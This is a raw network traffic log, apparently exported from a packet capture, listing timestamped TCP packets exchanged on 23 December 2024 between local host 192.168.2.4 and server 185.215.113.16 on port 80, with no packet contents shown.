Dec 23, 2024 08:08:04.587795973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.587842941 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.588643074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.588715076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.588730097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.588735104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.588773966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.589592934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.589648008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.589664936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.589703083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.590557098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.590624094 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.590635061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.590651035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.590735912 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.591522932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.591607094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.591629982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.591675043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.592506886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.592546940 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.592573881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.592592001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.592641115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.593508959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.593564034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.593576908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.593616009 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.594449997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.594516993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.594521046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.594536066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.594644070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.595428944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.595500946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.595515966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.595557928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.596410990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.596452951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.596482992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.596497059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.596535921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.597384930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.646311998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.647551060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.647582054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.647597075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.647692919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.647994995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.648049116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.648087978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.648102045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.648144960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.648962021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.649046898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.649060011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.649091005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.649940968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.649987936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.650017977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.650031090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.650075912 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.650897026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.650974035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.650988102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.651017904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.651892900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.651952982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.651966095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.651978016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.652024984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.652865887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.652962923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.653006077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.707298994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.707350969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.707416058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.707484007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.707603931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.707617998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.707658052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.708471060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.708512068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.708589077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.708602905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.708662033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.709448099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.709516048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.709530115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.709569931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.710418940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.710468054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.710500956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.710514069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.710565090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.711407900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.711456060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.711469889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.711510897 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.712340117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.712388992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.712421894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.712435961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.712486982 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.713321924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.755671024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.768908978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.768934965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.768946886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.769000053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.769319057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.769453049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.769489050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.769584894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.769597054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.769666910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.770426989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.770473957 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.770917892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.770994902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.771004915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.771044016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.771471977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.771531105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.771555901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.771567106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.771601915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.772443056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.772553921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.772563934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.772595882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.773428917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.773473978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.773498058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.773509026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.773546934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.774404049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.774424076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.774435043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.774472952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.775407076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.775449038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.775455952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.775466919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.775506020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.776339054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.776417017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.776427984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.776469946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.777307987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.777359962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.777388096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.777398109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.777430058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.778318882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.778350115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.778362036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.778400898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.779458046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.779469967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.779480934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.779500008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.779539108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.780215979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.780299902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.780309916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.780333996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.781219959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.781276941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.781289101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.781312943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.781356096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.782177925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.782253027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.782262087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.782310009 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.783129930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.783174038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.783205986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.783219099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.783252954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.784143925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.784214973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.784229994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.784266949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.785083055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.785130978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.785154104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.785165071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.785203934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.786068916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.786147118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.786158085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.786187887 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.787019968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.787090063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.787101030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.787106037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.787142992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.788019896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.788113117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.788125038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.788167953 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.789019108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.789071083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.789102077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.789113045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.789149046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.839670897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.839719057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.839731932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.839787960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.840118885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.840158939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.840172052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.840213060 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.841063976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.841133118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.841145039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.841191053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.842183113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.842195988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.842206955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.842262983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.842287064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.843008995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.843128920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.843141079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.843164921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.843981028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.844059944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.844072104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.844108105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.844146967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.844963074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.845077038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.845133066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.899610996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.899678946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.899692059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.899734020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.900065899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.900156021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.900265932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.900371075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.900382996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.900437117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.901245117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.901323080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.901335001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.901350021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.901372910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.902210951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.902287006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.902298927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.902331114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.903173923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.903243065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.903254032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.903264999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.903295994 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.904150963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.904252052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.904263973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.904333115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.905103922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.905200005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.905234098 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.958797932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.961129904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.961185932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.961196899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.961247921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.961719990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.961759090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.961787939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.961925030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.961972952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.962529898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.963105917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.963161945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.963170052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.963181019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.963224888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.963742971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.963824034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.963834047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.963876963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.964723110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.964786053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.964797020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.964808941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.964853048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.965708017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.965771914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.965783119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.965816021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.966655016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.966742992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.966753960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.966761112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.966811895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.967623949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.967693090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.967704058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.967739105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.968590021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.968667030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.968678951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.968708992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.968744993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.969575882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.969645977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.969656944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.969697952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.970776081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.970838070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.970849037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.970850945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.970901012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.971506119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.971590996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.971602917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.971649885 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.972489119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.972548962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.972563028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.972573996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.972621918 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.973464966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.973530054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.973541975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.973573923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.974443913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.974494934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.974515915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.974526882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:08:04.974566936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:08:04.975392103 CET	80	49744	185.215.113.16	192.168.2.4
